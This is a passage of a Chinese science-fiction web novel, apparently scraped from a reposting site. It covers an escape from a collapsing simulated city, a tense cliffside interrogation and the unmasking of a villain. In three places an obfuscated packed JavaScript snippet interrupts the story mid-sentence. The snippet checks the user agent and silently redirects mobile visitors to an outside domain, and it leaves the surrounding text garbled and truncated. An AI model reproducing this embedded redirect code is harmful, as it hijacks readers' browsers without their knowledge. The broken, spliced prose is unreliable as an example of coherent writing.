绯篱向玄烈大喊道:“玄烈老师!是机器导致的地震,颠转现在非常不稳,咱们得向上跑!” “机器被砸毁了吗?”玄烈问道。 “应该是!”绯篱回答。 192. 颠转破灭(4) 楼下,遥远偏僻的颠转控制室,凛烛和一大波斩翼军挡在门口抵御一批又一批机械体的进攻。纪凛烛独自在狭小的空间内面对那台关联颠转命脉的机器。 那枚芯片已经按照福戒的指示安装在了颠转机器最核心的部位,这是地震的源头,现在芯片的能量正在同远在涂云的机器以及骨环的力量相抗衡,胜负难分。可是,如果再加上第二战备的力量呢? 不能再等了,她将双手手腕处的金属环双双更换到绿色的档位,源源不断的丰盈能量从金属环内溢出,很快流转至她全身。待手掌能量加载至极致,纪凛烛坚定地凝望那张在接口边颤动的芯片,下定决心,将双手摁了上去。 机器就像一团胃口大开的黑洞,在能量触碰上去的一瞬间便不要命地疯狂吸收着青绿色的“良药”,狂风在房间内席卷,即刻将室内的各类资料纸张小物件卷到半空,门窗在痛苦地哀嚎。 机器内部急速转动的机械零件全都发出“呜呜”的声音,天幕忽明忽暗,地动山摇,这个城市已经到达了颠覆的临界点。 “轰”的一声,一阵刀风砍过,纪凛烛掌下生出一团微型的能量爆炸,绿光砰然将房间内的玻璃震碎了,冲击波径直扩展掀翻了许多人。颠转机器彻底停止了运转。 刹那的安静后,地震再次来袭。纪凛烛机械臂内的手臂被炸得到处是伤,血从泛有光泽感的黑色金属边角渗出。她拿起芯片破开门,对着依然和对面人打得不止不休的凛烛大喊:“颠转要被撕裂了!快到楼上他们会合!” 楼上,玄烈一拳锤爆了一只预备要爆炸的机械体的头。十几只斩翼军从金属台撤去的入口往上涌着,它们推开黑寂军和机械体的断壁残躯,竟主动向玄烈他们发起了进攻。 挥手砍掉一只斩翼军的翅膀,那流光溢彩的金属断成了好几截,玄烈将库星锥顶在那只斩翼军下颌处,才发现这是二期斩翼军,是完全的“数码人”。那怪不得了,骨环再次将手伸到这里来,千方百计想阻挠玄烈他们。 “不能再打了!”程炼也抬腿踹走了一只机械体,他那只后来安上去的仿生义肢还能勉强支撑他的自卫,“韶赋修绝对会等待舜氏油尽灯枯再清理残局!” “他不会来,”玄烈在战斗中还能抽出功夫来回答他,“他已经离开颠转了!” “你怎么知道?”程炼诧异道。 “骨环篡改了涂云机械体的程序,但到目前为止来舜氏的都是些无名之辈,你猜仪琅和琀珏为什么不在!”噪音太大,玄烈只得叫喊着回应。 地震得厉害,纪凛烛携带芯片很快冲了上来。 “阿烛!”玄烈率先发现了纪凛烛的身影。 纪凛烛用手劈开一条道路跑来,“机器已经报废了!颠转很快就要被摧毁了!往楼顶跑!” 可这里是个死穴,怎么看都没有通向楼顶的道路。若要爬上天台,需得从这里出去绕转到另一条路。 “来不及了!”玄烈道。 “我有办法!” 说着,纪凛烛抓起玄烈握着库星锥的手腕。那灿烂的白色光火伤害不了她,她指了指金属台上方的天花板,“那是最薄弱的地方!” 玄烈当即明白了纪凛烛的用意,他招呼一部分仍可听他命令的斩翼军在周围防护,后用尽全力将全身能量运转至库星锥,不一会他手上便燃起一团火。 纪凛烛同样做着准备,莹蓝色的光在她手掌涌现,她和玄烈一起抓住库星锥锥把,并脚下实实地踏着地面,将重心尽量放低。 “三、二……一!” 倒数至一,纪凛烛瞪地而起像接过接力棒一样从玄烈手中抢过库星锥,两种颜色的能量碰撞在一起,激烈的冲击浪顷刻延展四方,她回身飞速转了一圈将库星锥极大限度蓄满力量,再利落地松开了手。 那柄流星雨一样的锐利锥光破空而上,精准刺进了纪凛烛所指的那块天花板。 “绯篱!”纪凛烛喊了一声。 “来了!”绯篱应到。她猛地扛起那火箭筒,对准库星锥,再发射了一颗耀眼的□□。 又是一阵震得人手脚发麻的声响,天顶在一片云雾与碎块中被破出了个大洞。库星锥功成身退飞回玄烈手中,几只斩翼军摞在一起促成一条人梯。 “上!” 玄烈一声令下,在场的人都开始往上爬。很快,凛烛也赶到现场,他本想收尾,却发现自己根本杀不完,只好追着纪凛烛一路向上。 看着程炼踏着斩翼军肩膀向上爬着,凛烛上前将他一把扯了下来。他原打算忿忿不平揪着程炼领子将他甩到一边去,可实验室里凌乱动荡的光令他忽而从程炼的眼里挖掘到了一些潜藏已久的信息,“是你?” 倒在地上的程炼抬腿向凛烛心口踹了一脚后翻身爬起,他拔出手枪对准凛烛,“你发什么疯?” 一只机械体被远处纪凛烛一脚蹬得直直飞来撞住凛烛的肩膀,在那机械体爆炸前,程炼先给了那人脑袋一枪,避免了爆炸。 “是你!”凛烛激动起来,“我记得你!你叫、你叫……” 两只斩翼军从背后绕出来将凛烛扑在地上,程炼没管他,自顾自向上爬。随后舜希也收起长剑爬了上去。绯篱凛烛后来跟上,灼琛也拖着半扇翅膀飞跃上去,玄烈收拾着残局。 他左右顾盼想着迟迟看不见纪凛烛的身影,在将一只黑寂军一劈两半后,他看到角落的纪凛烛。彼时她正探着遥遥的鼻息,随后起身望了玄烈一眼,摇摇头。 临走时纪凛烛不忘脱下外套罩在了被炸得不太好看的遥遥身上,她依然环抱着舜真,到死都没有松手。 还有敌人向上窜,他们没时间了。斩翼军人梯被机械体们冲撞散,玄烈和纪凛烛一同飞出了天顶的洞。 天幕屏闪着,时而昏黑,时而乍现灰黄的光。天台孤寂,地震没给这一片空荡荡的平面造成什么毁灭性的打击,除了那个洞,和微微生出裂痕的地面。 舜希认出了凛烛,二人不知说了什么此刻正在交手。绯篱几次三番想下手,但又害怕对上舜希的眼睛。 “绯篱,你就这么报答我?”舜希皮笑肉不笑地凝视着绯篱。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14600776|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>绯篱眼神闪躲,“您是潼总的时候,我敬爱您,但现在……一切都变了……” 看到玄烈他们也跟了上来,舜希痛心疾首移开目光,再次不嫌疲惫地向纪凛烛发起进攻。 这下她和灼琛正式与纪凛烛和玄烈二对二。但在下面他们就不算占上风,在上面也一样。 抡圆了的一拳锤在灼琛脸上,他失去重心而摇晃的身体干扰了舜希的进攻,长剑一斜,玄烈手臂幸免于难。 紧接着玄烈伸手抓住灼琛的激光棍将其牵扯住,脚步向灼琛身前挪动,用灼琛的身体当作盾牌抵御舜希的进攻,另一边,纪凛烛调换出机械体的磁力档位,来牵引舜希,这是她在第二战备基地新习得的技能。 组合了这么久,多少是有点心有灵犀在的。 激光棍棍光一闪扫向玄烈脚踝,可惜落了空,关键时刻“向日葵”的出现转移了他的注意力,而纪凛烛正好借机卡住灼琛的肩膀给其来了个诚意满满的后抛摔。 舜希身在高处,玄烈看准她膝下那被炸出破口的外骨骼,库星锥一砍一收,那条金属腿径直断了。 让他们没想到的是,这么一次看似毫无影响力的打击,却让舜希腿一软猛地磕在了地上。 原来那副外骨骼是这般作用。没有外骨骼,舜希就再也站不起来了。 她强撑着身体想借另一条完好的腿再站起来,但凛烛手起刀落也将另一条腿上的金属砍断了。 “你的腿……怎么回事?”纪凛烛有些无措地问道。 舜希手臂颤抖着无论如何也站不起来,她那阵与生俱来的威风消失了,头发随风飘扬转回灰色,眼眸也黯淡下来。她侧脸看了眼程炼,“拜他那颗导弹所赐。” 那颗一往无前飞向潼氏的飓雾导弹,好像才是事实划向无可逆转的深渊的开始。 一阵诡厉的笑凭空回荡,分不清男女,也说不上来是人是鬼,他们的注意力忽而被这笑声吸引。不一会儿,一个人影在昏黑夜空下浮现出来。是骨环。 骨环依旧身着那件西装,这可能是他唯一的人形装扮。他站在洞口边像看垃圾一样俯视着下方还在相互残杀的机器人,爆炸引发的光团将他的眼睛映得一亮一亮。估计是嫌太吵了,他一个响指,下面竟然瞬间沉寂了。 “你们的算盘打得真不错,我居然被你们骗了,”骨环一脸惋惜,“是谁给你们出的主意?福戒?还是谁?都不重要了……” 骨环说着,开始悠闲地踱起步子,“我从诞生开始,除了在折叠迷宫见你们两面,几乎就一直待在这里。你们到来之前,这里的一切都是不会说话的。可是太安静了,那是包括我在内的所有都是没有生命的安静……” 他垂下眼睛表情略显落寞,“我向往生命。脆弱的身躯,短暂的寿命,还有不可捉摸难以把控的意志。我空有无数台超级计算机,我深知要想攀到和你们人类意志一样的高度是天长日久很难很漫长的事。但没关系,我可以等……现在,你们为什么要剥夺我的耐心呢?我就要死了吗?可是我还有很多秘密没分享给你们啊……” 193. 颠转破灭(5) 骨环每吐一个字,声音都在发生着诡异的转变,男女老少各类生物都在变化的范畴内,音调不随他们预料的起伏,尖锐和低沉来得十分突然,偶尔还见毫无情感的人工智能电子音,或许这才是他的本来面貌。 “你们想听谁的秘密?舜希的?程炼的?还是韶……”骨环注意到纪凛烛,“你不是一直想探索程炼的真正身份吗?我什么都知道……” “不必了!”纪凛烛打断道,“我已经知道答案了。” “真的吗?”骨环身影消失了,但他很快又出现在距纪凛烛近到不足五米的位置,“你知道他二十年前叫什么名字吗?你知道《第二战备研发指南》那半本为什么在程炼手里吗?” “我说了,”纪凛烛眸光平静如水,“我知道。” 城市里,无数座巨型楼宇轰然倒塌,天幕闪得越来越频繁,大地低吼声仍在深处回荡。他们不远处,那片颠转开放的海岸边,遥远高空之上,忽地出现一颗湛蓝色的亮点。 “那是什么?”绯篱指着亮点。 动荡不安的世界里,那颗亮点竟能稳如泰山立在空中。骨环也随之看去,他的脸色一下子变得扭曲,“不、不……”他自言自语着。一条光线由天而至,瞬间连通了那亮点和颠转开放口。 地震平息了,虽然地面仍在犹如立在波浪之上起起伏伏,他们感受着这阵如沐清风的呼吸感,不敢言语一声。 伴随着银铃般的异响,那条光线缓缓扩张,猛然间,那条光线分裂成两条边缘崎岖的裂口,一阵这个世界不曾存在的巨风瞬间像被吸进颠转一样呼啸而过,骨环的身体就在这强大的冲击力里被撕碎了。 地震再起,比之前更强烈,天地被这风模糊了,城市内万般残骸被卷到了天上,大大小小的杂物建材毫无规律地到处乱飞。 裂隙那边,澄蓝的光映入人们眼帘,他们久违地看见了蓝天,那是另一端真正的世界,正携带着希望款款行来。 “趴在地上!保护好自己!”玄烈喊着,天台上的几人立刻尽量伏低,竭力找准某些坚实的物体用以抓握,生怕被吹跑,生怕漫天飞舞的杂物将他们永远留在颠转里。 程炼独在天台边被风沙迷住了眼,他弯腰尽力去探手边想看看有没有可供他稳住身体的物件。 有一阵风,他被吹得向后一仰,脚腕磕住天台边缘,整个人向下倒下去。 注意到他的失足,纪凛烛瞬间不顾一切地跑了上去,幸好程炼手死死抓着天台边,才不至于立即摔死。 纪凛烛抓住了他的手腕,玄烈则立马赶上来抓住了纪凛烛,以免他们一起被吹下去。 程炼颤颤巍巍地挂在天台边,脸上的恐惧神色比那古代的鬼图腾还要难看几分,他放弃平滑的天台边转而用力抓住了纪凛烛的手。要死一起死。 “求求你,抓紧我!”程炼拿纪凛烛当救命稻草。 纪凛烛咬着牙绷着神经一刻不敢松懈,她望着下方程炼那张可怖的脸,心绪复杂万分。 她没多少力气了,一个不注意,程炼的手腕在她手下松了五毫米。 “不!不要!”程炼吓了一跳,“求你了,你想要什么我都可以给你,求求你抓紧我!” 程炼的话此时听起来十分滑稽可笑,但纪凛烛手下还是又施力几分。玄烈看出她的意思,不急着把程炼拽上来。 “我问你几个问题……你要如实回答。”纪凛烛道。 “我回答、回答!”程炼脸色惨白。 “二十年前地震之前的事情,你记得多少?” “我……我不记得……” “如实回答!”纪凛烛喊道,她不介意手下再松一点。 “如实!如实!”程炼惊惧至极,“我……我记得我参与了第一战备和第二战备的、的研发,和……和董事长一起!” “细节!”纪凛烛逼问道。 “我不记得了!我不记得了!”程炼看样子快要崩溃了。 收敛起情绪,纪凛烛再望向他,“二十年前,你成家了吗?” “……好像是!”程炼明显积极起来。 “我问你,你为什么要取‘程炼’这个名字!” “因为、因为我要让自己浴火重生!”程炼表情不像是在说假话。 “那你为什么姓程!你本来就姓程吗!” “我不……好像不……”程炼失措地转着惶恐的眼神。 “你成家了,还有个孩子!对不对!”话题一转,纪凛烛再次逼问道。 “你在第二战备基地问过我这个问题……”见纪凛烛表情不好,程炼又着急补充道:“是、好像是……” “你的孩子!地震时她多大!” “……” 程炼沉默了,纪凛烛给了他三秒的时间,三秒后,她的手松了一分,这回程炼整个人向下滑了有两厘米,他发现他也根本抓不住纪凛烛的手,她的手太烫了。 “救命!救命——” “回答!”纪凛烛近乎是喊的。 “好像!好像几个月!”程炼彻底崩溃了。 “是个女孩!是吗!” “对!对——” 片刻纪凛烛不问了,程炼惊慌地抬起头,“你再问、你再问啊!” “你妻子也是研究团队的一员,是吗?”她音量突然放小了,小到问题很快被风吹走,剩下程炼一人凌乱。 有一些不太真切的记忆穿进程炼的大脑,他顿时迷乱了。 “……没错。” “你们理念不合,你只一门心思想要击败潼氏,全然不顾她们,是吧?” 程炼抬起头,“……你也问过我这个问题。” “回答!”纪凛烛话语里带着显而易见的颤音。 “是……”程炼眼神都快呆滞了。 “你给自己取名姓程,是因为地震后你的记忆就只剩下这个字,这个字很重要,你忘不掉……”纪凛烛轻声道。 “对……对!”程炼目光闪烁起来,“你知道?你知道我是谁?” “因为你对一个人有愧!你在无数个时刻为了自己的一腔空想而愧对了某个人!甚至在最后时刻你依然愚蠢地抛下她去做你认为重要的事!” 纪凛烛正颜厉色铿锵有力的一个字一个字抛给程炼,程炼眉间染上沉重的疑惑,“我……吗?” “因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14616937|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为那个人姓程!你的妻子!她姓程!所以你醒来唯一记得的只有这个字!” “我的……妻子?” “她不止是你的妻子,她更是一个无比优秀的工程师!她有名字!她叫程黛绫!!” 这句是纪凛烛完全呐喊出来的,关键的三个字竟长久没遭狂风吹散,反而在他们身边打转,撩拂耳廓,深入骨髓。 她的脸因充血而涨得通红,愁云在她眉心凝成一团。风吹得她和下面那个人一同摇荡,如同行走在悬崖间的钢丝上,现在连这条钢丝也要撤去。 “你为什么……攥着你那点可怜的雄心壮志不放,为什么忽视你真正该珍视的一切!” “潼氏……对,潼氏!”程炼惊起,那两条眉毛激动地飞着,脸上那条深刻的疤痕也跟着飞扬,“我恨!我恨潼氏!如果没有他们我就可以早早凭借我的成果声扬四海!是潼氏一直在阻挠舜氏的发展!把他们灭掉舜氏就可以完全傲立于世界!变成最强!” “你的成果……”纪凛烛干笑两声,“无耻……自私!” “我现在依然可以!”程炼几近癫狂地瞪着他那兴奋的双眼,“你救我上去,我可以帮助舜氏再击败涂云!我有这个能力!求求你救我上去……” “最后一个问题……”纪凛烛深吸一口气,“如果再来一次……如果那条逃亡的船票握在你手里,你会不会,亲自送你的妻子女儿上船……” 这个问题无比简单,程炼整理出一副无怨无悔的表情,坚定地说:“不会。为了我的抱负,我可以牺牲一切,无论是谁,这才是一个男人应该有的骨气!” “……” 片刻,纪凛烛毫无生气地回答:“……我知道了。” “你看到了我的诚心!你现在能救我上去了吧!”程炼满心希望地望着上方的人。 纪凛烛没再看她,好像什么都没有意义了,她垂着头,下巴抵在悬崖边,眼神失落地盯着下方墙面上一颗微小的凸起。 “我没力气了,对不起啊……” “什么!你不能、你不能丢下——” 程炼的话尚在飘转,纪凛烛失去了全身的力气,她的手颤抖着,力量一丝一丝地流逝。 到最后,她发现自己再也抓不住一片注定逝去的落叶,于是无助地松开了手。 一声绝望的呐喊远去了,奇异的“呜呜”声却由远及近,一根巨型钢条竟也被风吹得高高抛起,顿时在空中形成快速旋转,如一架飞行断头台,黑压压正冲纪凛烛而去。 玄烈及时将纪凛烛从天台边拽回,那根钢条“噌”地一声蹭过天台,在不远处坠毁了。 纪凛烛一动不动地跌坐在地上,玄烈看着她,不知该说些什么。 她那豆大的泪水一颗一颗砸在地上溅起水花,其间沉甸甸的意味是多强劲的风也吹不走的,每一颗都会发出心脏破碎迸溅的声音。 清澈纯净的天与远处波涛汹涌的深蓝色海水在裂隙里靠近了,光从他们身侧打来,在另一端形成影子。 在影子彻底被驱散之前,身体穿过旧世界通道口的刹那,玄烈隐隐听到纪凛烛轻飘飘唤了一句。 “爸爸……” 194. 再见(1) 狂风止息,世界在清新中重新立体起来,湿润温和的空气从高空羽毛般坠落到脸上,感知在不知不觉间重新回到玄烈身上。淡淡的光穿过他轻合着的眼皮,那是难以言说的、形同重活一世的喜悦感。 “玄烈?玄烈……” 少女清澈的嗓音不嫌繁复地呼着他的名字,仿佛越过山丘的蒲公英,在潺潺流水里沾了满身水珠,礼物一样降落在他眼前。 阳光、山川、溪流的味道时隔许久再次钻入鼻腔,玄烈在动荡里醒来。纪凛烛抚着他的肩膀,边唤他的名字边不停摇晃着他。 天亮了,这里是现实世界。 “玄烈?玄烈!”纪凛烛语气带点焦急。 玄烈猛力眨了眨眼,他还尚未适应如此明亮的现实,“怎么了?” 他最想见到的其实是太阳,可环顾了几圈,他始终不见地面上有阳光铺撒。 “你看……”纪凛烛悄悄示意他身后的方向。 玄烈视野逐渐清晰,他感受到太阳的存在,那颗巨型火盘大概就在他身后高空之上,但为什么他看到自己身前的景象是一片黑影。 其余人也都苏醒并站起来,感觉到不对劲,他猛然间一回头,看见高处浮在空中的、那架挡住阳光的人形机甲。 由于是背光,玄烈看不清那人的具体样子,只知道他体型极其壮硕,似是某个久未相见的故人。 背着光,韶赋修在玄烈并不松快的表情中飘飘然下降落了地。他依然是那副丑陋的机械拼凑的样子,看不出半点人样。 他们相距二十米远,韶赋修携着他那每走一步都发出怪响的机甲外壳向玄烈靠近。走到一半,他扬起左手轻点了下自己的左太阳穴。 在一声“嘀”音和机舱释压般的声音褪去后,那覆盖在他身上的金属壳子竟自动裂开分散再收进他那背部钢板一样厚重的喷气背包。 随着他真身的一点点暴露,玄烈看着这向他走近的人,越看越发觉得此人走路姿势如此眼熟。等到韶赋修挨到玄烈身前五米处,他全身的外壳褪得就只剩下他那颗尤为狰狞的机械脑袋。 因为垫在他脚下的金属靴也脱去了厚厚的底,现在他仅仅比玄烈高一头了。那颗机械脑袋奇形怪状的,几乎和韶赋修肩一样宽,活像游乐场扮演卡通人物的工作人员头顶的头套。 玄烈辨不清韶赋修具体有多高,要是一会打起架来,他一颗子弹击穿那机械头的眼睛,说不定还碰不到韶赋修真正的脑袋。 隔着厚重的金属壳玄烈都能看出韶赋修此刻不怀好意的表情,果然他和程炼说的是对的。韶赋修与其有功夫在颠转里加入混战,不如等他们头破血流闯出来后进行收割。 玄烈只求这人不要一开口就是“好久没见”的车轱辘话,每次见面都要说一句也不嫌烦。 “欢迎回来。”这是韶赋修的第一句。紧接着,他再点了下自己的太阳穴,铜墙铁壁一样的机械面罩松动了。 感觉那从下颌翻起的金属碰到他皮肤就要融化了,犹如尖叫挣扎的滚烫液体顺着他的脸颊蜿蜒撤回,依次露出了他的嘴、鼻子和眼睛,直到收回耳后形成两侧边缘锐利的刺形通讯器。 这时,人们才终于看清了他的脸,看清了韶赋修的真实面貌。 他一身白衬衫配牛仔裤,微卷的头发略剪短了一些,一身艺术气息,谁能想到那架看上去气势可逼世界霸主的机甲下是这么一套装扮。 “向……繁森?”纪凛烛率先道出了他另一个名字,“原来是你,你就是韶赋修!” “大吃一惊?还是大失所望?”曾扮作假向繁森的韶赋修抬手摘下了那一对通讯器,以免它的存在令这些伙伴们不敢认他,“你们寻找的、恐惧的人其实一直都你们身边,怎么样?我就喜欢看你们这副样子。” “你不是死了吗?”玄烈冷语道。 “演戏而已。”一边的舜希突然来了这么一句。 “我和你说过,等待你真正到要打开实验室那一天,我也要去做准备了。一场大火,好看吗?”韶赋修笑道,“戏如人生嘛。” 这才是他原本的声音,根本不是嘶哑低沉的状态,虽面容与从前的韶赋修大相径庭,但他还是完完整整的韶赋修,是从二十年前那场战争唯一依旧健康完好站在这里的人。 玄烈凝视着眼前人一声不吭。他千方百计说服自己这个人就是韶赋修,但那个假向繁森的言语和举止化作阴影总在他眼前缭绕。他对韶赋修的印象是沉默、偏激、阴损、心狠手辣,无论如何也难以无法将其与那个活泼、小气、老实又不靠谱的身影联系在一起,太割裂了! 认为玄烈是吓傻了,韶赋修冷笑着再向前几步,以领导者的姿态傲视在场众人,“感谢诸位在逆转颠转中做出的贡献,一场战争平息了,此后你们可以忘却前事自在地生活在这片土地上。涂云愿意为重建舜氏提供一切需要的资源,代价只需……那枚芯片。” “为了给颠转机器供能,芯片的能量已经被削去了一半不止,现在它所积蓄的甚至不如一枚舜氏全新研制的新型芯片,你依然要吗?”纪凛烛暗地攥紧了拳头。 韶赋修环着手臂,粲然一笑,“既然如此,它的存在就更不算危胁了。只当是折腾了这么多年的战利品,摆在那也不负我这么大费周章。” 说着,他向纪凛烛摊开了手。 “打个赌吧,我赌他们不会给你的,”舜希窝在地上讽刺地说,“他们宁愿和你打一架。” 凛烛三步并两步走上前,“既然是战利品,摆在哪都无所谓,舜氏不需要赏赐,你可以收回你不怀好意的好心。” 手在半空顿住,韶赋修嘴角带笑眼睛却透着轻蔑又发狠的味道,“果然是得了舜延真传的第一战备,连他那股不会迂回宁死不屈的表面功夫也学来了。所以舜氏毁在他手里,你还想舜氏毁在你手里吗……哦对了,二十年前,不正是你屠杀大片舜氏人又启动了颠转机器吗?上一个舜氏已经毁在你手里了……” “你……!”凛烛登时脸爆红,无尽的杀意冲上他的眼眸和大脑,他抽出后背的大刀就要冲上去与那人拼个你死我活。玄烈一把抓住他的手臂,用尽全力将他阻拦下来。 你来我往的翻旧账不会有结果,纪凛烛干脆从口袋里掏出那枚小巧精致的神圣芯片。在自然光的照拂下,芯片上的神兽纹样展现着令人叹为观止的美丽光泽。 像随便赠与什么没用的小废物,她就这样迎着全场各异的目光把那芯片放进韶赋修手里。 “很好。”韶赋修扬起笑脸。 “你为什么……!”凛烛大惊。绯篱也瞪大眼睛,舜希诧异地没有言语,她身边那已经被摄去魂魄的灼琛自不必说,他恐怕现在连那个闪光的小物件是什么都不知道。 玄烈知道她这么做势必有她的道理,只是这个举动也过于大胆了,大胆到他不得不忧心忡忡地唤一句:“阿烛……” “舜氏如有需要,可随时致电涂云。”韶赋修微笑着点头示意,随即喷气背包被开启,喷出的气浪贴着天台地面四面八方横飞,他化作一缕风嚣张地扶摇直上,消失在了涂云方向的空中。 舜希在灼琛的搀扶下勉强站起身子,又倚靠着他算是站住了,“你们……确实是让我刮目相看。”语气刁钻,全是恶意。 韶赋修的身影消失了有一会儿,凛烛先松了一口气,“他好像相信了。”说着,他和绯篱走过来,一人和纪凛烛抬手击了一掌。 “什么意思?”玄烈不解。 “幸好绯篱前两天临时做了个冒牌货,”纪凛烛拿出那枚真正的芯片,“这个芯片表面的磨砂纹路很奇怪,不是轻而易举就能做出来的,反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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能做到如此极致,看得出来舜希不是正常人。 崎钥敲门走了进来,将一副全新的外骨骼送到舜希身边的办公桌上,没言语也不吱声,没多看玄烈他们一眼,低着头要快速离开。 玄烈挡住了崎钥的去路,“现在永璃岛还有多少人?” 崎钥回望了眼舜希,见她没反应,才开口:“一个小时前永璃岛最新三岁至六十八岁人口统计结果显示,永璃岛内仅存五万八千八百六十二人。” “为什么是三至六十八岁?”绯篱问道。 “因为三岁以下及六十八岁以上人口总数为零,三至十二岁仅有四千六百二十一人,五十五岁至六十八岁仅有七千三百三十人。” “只有这么点人了?”舜希慢悠悠来了一句。 一整座容得下两个巨型公司的岛屿现存人类数量甚至只比舜氏集团巅峰时期员工数量多一丝丝,这么看来不仅是舜氏,永璃岛的未来也岌岌可危了。 “舜氏机械体数量多少?”玄烈没有理会舜希。 “三代体四百六十三架,四代体二百零三架,五代体五百一十二架。” “黑寂军呢?” “八千左右。” 心照不宣的沉默里,不知是谁忽地叹了口气。他们虽平安地达到了现实,可颠转和战争带来的伤害早已深切的将永璃岛的命脉浸泡腐烂,再这样下去,永璃岛会变成一座鬼岛。 崎钥离开了,舜氏还有太多残局需要收拾,舜希静静地坐在董事长的宝座上,精致里带着虚无的疲惫,她打量着那具被用普通金属修复的外骨骼。外表是没差的,但丢失了破坏了再修补,固然会失去之前浑然天成的“气”,她就失去了这样的“气”。 “舜氏始终是韶赋修的阻碍,他一定还会找机会除掉舜氏,”玄烈走到办公桌前,抬臂按住了那架外骨骼,“我们合作。” “你要什么?”舜希兴致盎然地向后靠在椅背上。 “我要‘钢钉’。” 195. 再见(2) 待玄烈把他的计划道出来,舜希的表情仍一点没变化,“这主意是你们自己想出来的,还是谁告诉你们的?杨宁?” 玄烈不语,舜希嗤笑一声,“可以是可以,但我只负责提供‘钢钉’,除此之外我不会提供帮助,你们的行动必须完全对我公开透明,否则‘钢钉’系统不会在没有我的指令下运转一秒。” 自始至终玄烈都没有说七十二小时的事,舜希也只字不提。当天下午,他们从“钢钉”系统控制室要来了三枚打着“钢钉”烙印的智识芯片,没有停留,他们直接拐到一扇暗钢工字纹防护门前。 那件事后,他们许久没来过这里,许久没路过这扇门,而此时他们的心境全都和上次相比产生了翻天覆地的变化,除了凛烛悄悄问一句,“这里面是谁啊?” 门缓缓撤开,内部陈旧的空气扑面而来,寒流贴着地面沿着他们脚踝爬升,很快涌到了天灵盖。里面黑压压的,玄烈抬手按下了开关,一盏灯直打在室内中心的一个台子上面。 洁白无暇的绸缎勾勒出下方的人形,绯篱终于能笑着走进这里。 她小跑到台子旁边,两只手颤颤巍巍揪住绸缎边角,片刻,玄烈依然看不到她将那绸缎掀起来。纪凛烛走去握住了绯篱的手,“他的伤很严重,恐怕要修一阵,要修好了再来看他吗?” “谢谢你,凛烛老师,但是没关系,修的时候我也可以帮忙。” 她们相视一笑,一鼓作气掀开了那块绸缎。绸缎飞扬在空中仿佛珍珠在太空里幻化成飘逸的银河,空气中的颗粒弥散恰好可以化做银河里的繁星,抑或是跟随银河舞动的仙雾,轻飘飘的,美不胜收。 炳灿脖子处的断裂是凛烛看了都摇摇头的程度。舜氏的专业人员大多死的死跑的跑,剩下的工作人员也没把握能修好,全都推脱着不肯接手。 纪凛烛撸起袖子,“还得我这个机械维修部的实习生来。” 那次强力的撞击使炳灿脖颈处许多零件损坏丢失,后来捡回来的一些小部件也都不能用了,只能取下他肋骨,拆东墙补西墙,勉强用作支撑。这样一来他的实力势必会大打折扣,毕竟他的大脑也在震荡中受到损伤。 将他肋骨上拆下的小零件安装在脖子里的手术不难,却很耗时,纪凛烛汗水淋漓表情紧张,小心翼翼地生怕牵扯住他断开的表皮,否则最后缝合会搞得很难看。 绯篱在一边举着工具箱,“没事凛烛老师,你就随便缝吧,反正炳灿老师逃不过那一条疤,要是缝得有点波浪曲线也挺好的,不死板。” 负责托着炳灿脑袋的玄烈想象了一下那个画面,本就显眼的疤再扭来扭去的,那不成……蜈蚣了吗? 韧性极强的透明线被绞断了,不能说炳灿完全恢复原样,但也至少不像之前的死状那么凄惨了。 凛烛提前携带着绯篱提供的物品和玄烈纪凛烛的口头描述以及记忆提取再去了趟“钢钉”控制室,计算了好半天,那枚全新的智识芯片终于被激活,那些半真半真假难辨的记忆被塞进了智识芯片里。 恰好那边手术结束,恰好他赶到了手术室。 智识芯片卡进凹槽的瞬间,芯片上的莹莹的光顺着边缘钻入线路,炳灿那死灰色的脸逐渐在芯片的作用下恢复了些许人色。 慢慢的,炳灿的指尖和眼睛都产生了微弱的反应,他们像注视新鲜出炉的生命一样俯着身,包含希望地见他在朦胧中睁开双眼。 仿佛大梦初醒,眼前久违渗入的光令炳灿不太自在,他眯起一条缝漫无目的地张望,却看见四张脸摆在眼前眼神火烫地注视着他。 “啊——” 这是炳灿发出的第一个声音。凛烛直起身子,“怎么回事,是不是他脑子还有地方受损咱们没发现?” “谁……你才脑子受损了!” 炳灿扶着自己酸痛的脑袋,看清玄烈他们之后的反应是赶忙摸向自己的耳侧和脖子,“我……我、我还活着?” 他赶忙坐起来,但他很快又吃到了鲁莽行动的苦,腹部的疼痛顷刻间驱赶走了头痛一跃登到了疼痛榜的顶峰。尽管如此,他疼得呲牙咧嘴也要抓着一旁绯篱的肩膀,“绯篱!我还活着,我还活着!” 很快他就发现了不对劲,“我……我居然还活着,我怎么没死呢……” “哎,我一开始也是这样的反应!”凛烛开朗道。 “你反应什么?”炳灿一脸纳闷。 “你,猜猜今天是几号?”凛烛得意道。 “我……我穿越了?”炳灿惊恐地看着几人,最后望向绯篱,“难道你不是绯篱,你是绯篱的第八代子嗣?” “子嗣个头!”炳灿说着就要去捏绯篱的脸,指尖碰触之时绯篱立刻把他的手拍到一边去,紧接着弹了下炳灿的额头,“不是啦炳灿老师——” 